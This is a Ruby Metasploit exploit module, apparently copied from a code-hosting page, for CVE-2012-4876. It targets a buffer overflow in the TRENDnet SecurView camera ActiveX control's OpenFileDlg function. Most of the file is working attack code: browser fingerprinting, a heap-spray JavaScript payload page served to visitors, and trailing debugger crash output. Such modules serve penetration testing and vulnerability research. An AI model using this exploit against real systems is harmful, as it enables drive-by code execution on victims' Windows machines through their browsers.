201 lines
6.7 KiB
Ruby
201 lines
6.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found in TRENDnet SecurView Internet
|
|
Camera's ActiveX control. By supplying a long string of data as the sFilter
|
|
argument of the OpenFileDlg() function, it is possible to trigger a buffer
|
|
overflow condition due to WideCharToMultiByte (which converts unicode back to)
|
|
overwriting the stack more than it should, which results arbitrary code execution
|
|
under the context of the user.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'rgod', #Original discovery, PoC
|
|
'sinn3r' #Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2012-4876' ],
|
|
[ 'OSVDB', '80661' ],
|
|
[ 'EDB', '18675' ]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => "seh",
|
|
'InitialAutoRunScript' => 'migrate -f',
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', {} ],
|
|
[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ],
|
|
[ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ],
|
|
[ 'IE 7 on Windows Vista', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Mar 28 2012",
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def get_target(agent)
|
|
#If the user is already specified by the user, we'll just use that
|
|
return target if target.name != 'Automatic'
|
|
|
|
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
|
|
return targets[1] #IE 6 on Windows XP SP3
|
|
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
|
|
return targets[2] #IE 7 on Windows XP SP3
|
|
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
|
|
return targets[3] #IE 7 on Windows Vista
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
agent = request.headers['User-Agent']
|
|
my_target = get_target(agent)
|
|
|
|
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
|
if my_target.nil?
|
|
print_error("Browser not supported: #{agent.to_s}")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
# Set payload depending on target
|
|
p = payload.encoded
|
|
|
|
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
|
|
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
|
|
|
# Convert the pivot addr (in decimal format) to binary,
|
|
# and then break it down to this printable format:
|
|
# \x41\x41\x41\x41
|
|
t = [my_target.ret].pack("V").unpack("H*")[0]
|
|
target_ret = ''
|
|
0.step(t.length-1, 2) do |i|
|
|
target_ret << "\\x#{t[i, 2]}"
|
|
end
|
|
|
|
js = <<-JS
|
|
var heap_obj = new heapLib.ie(0x20000);
|
|
var code = unescape("#{js_code}");
|
|
var nops = unescape("#{js_nops}");
|
|
|
|
while (nops.length < 0x80000) nops += nops;
|
|
var offset = nops.substring(0, #{my_target['Offset']});
|
|
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
|
|
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
|
var block = shellcode.substring(0, (0x40000-6)/2);
|
|
|
|
heap_obj.gc();
|
|
|
|
for (var i=1; i < 0x1000; i++) {
|
|
heap_obj.alloc(block);
|
|
}
|
|
|
|
var ret = "";
|
|
for (i2=0; i2<30000; i2++) {
|
|
ret = ret + "#{target_ret}";
|
|
}
|
|
obj.OpenFileDlg(ret);
|
|
JS
|
|
|
|
js = heaplib(js, {:noobfu => true})
|
|
|
|
html = <<-EOS
|
|
<html>
|
|
<head>
|
|
<script>
|
|
</script>
|
|
</head>
|
|
<body>
|
|
<object classid='clsid:707ABFC2-1D27-4A10-A6E4-6BE6BDF9FB11' id='obj'></object>
|
|
<script>
|
|
#{js}
|
|
</script>
|
|
</body>
|
|
</html>
|
|
EOS
|
|
|
|
print_status("Sending html")
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
|
|
|
end
|
|
|
|
end
|
|
|
|
=begin
|
|
bp 1000f952 "r; g"
|
|
bp kernel32!WideCharToMultiByte "r; dc poi(esp+c); .echo; g"
|
|
|
|
eax=023f4bf4 ebx=1006519c ecx=00000003 edx=0013a170 esi=00038ce0 edi=00000000
|
|
eip=7c80a164 esp=0013a130 ebp=0013a158 iopl=0 nv up ei pl nz na po nc
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
|
|
kernel32!WideCharToMultiByte:
|
|
7c80a164 8bff mov edi,edi
|
|
023f4bf4 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
|
|
023f4c04 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
|
|
023f4c14 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
|
|
023f4c24 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
|
|
023f4c34 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
|
|
023f4c44 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
|
|
023f4c54 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
|
|
023f4c64 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
|
|
|
|
ChildEBP RetAddr
|
|
0013a12c 1000f958 kernel32!WideCharToMultiByte
|
|
WARNING: Stack unwind information not available. Following frames may be wrong.
|
|
0013a158 100211d0 UltraMJCamX+0xf958
|
|
0013e24c 77135cd9 UltraMJCamX!DllUnregisterServer+0xeb20
|
|
0013e26c 771362e8 OLEAUT32!DispCallFunc+0x16a
|
|
0013e2fc 10017142 OLEAUT32!CTypeInfo2::Invoke+0x234
|
|
0013e32c 100170e2 UltraMJCamX!DllUnregisterServer+0x4a92
|
|
0013e358 7deac999 UltraMJCamX!DllUnregisterServer+0x4a32
|
|
0013e398 7deacfaf mshtml!InvokeDispatchWithNoThis+0x78
|
|
0013e3d8 7deac9fc mshtml!COleSite::ContextInvokeEx+0x149
|
|
0013e40c 75c71408 mshtml!COleSite::ContextThunk_InvokeEx+0x44
|
|
0013e444 75c71378 jscript!IDispatchExInvokeEx2+0xac
|
|
0013e47c 75c76db3 jscript!IDispatchExInvokeEx+0x56
|
|
0013e4ec 75c710d8 jscript!InvokeDispatchEx+0x78
|
|
0013e534 75c6fab8 jscript!VAR::InvokeByName+0xba
|
|
0013e574 75c6efea jscript!VAR::InvokeDispName+0x43
|
|
0013e598 75c76ff4 jscript!VAR::InvokeByDispID+0xfd
|
|
0013e650 75c7165d jscript!CScriptRuntime::Run+0x16bd
|
|
0013e668 75c71793 jscript!ScrFncObj::Call+0x8d
|
|
0013e6d8 75c5da62 jscript!CSession::Execute+0xa7
|
|
0013e728 75c5e6e7 jscript!COleScript::ExecutePendingScripts+0x147
|
|
|
|
0:008> r
|
|
eax=78f8f8f8 ebx=1006519c ecx=020bc038 edx=0c0c0c0c esi=020bf4d0 edi=020c0000
|
|
eip=1003a0e9 esp=020bb140 ebp=020bf22c iopl=0 nv up ei pl zr na pe nc
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
|
|
UltraMJCamX!DllUnregisterServer+0x27a39:
|
|
1003a0e9 8917 mov dword ptr [edi],edx ds:0023:020c0000=00905a4d
|
|
|
|
|
|
The only application-specific component loaded is UltraMJCamX.ocx, but this
|
|
can be unreliable and I'd rather not use that.
|
|
=end
|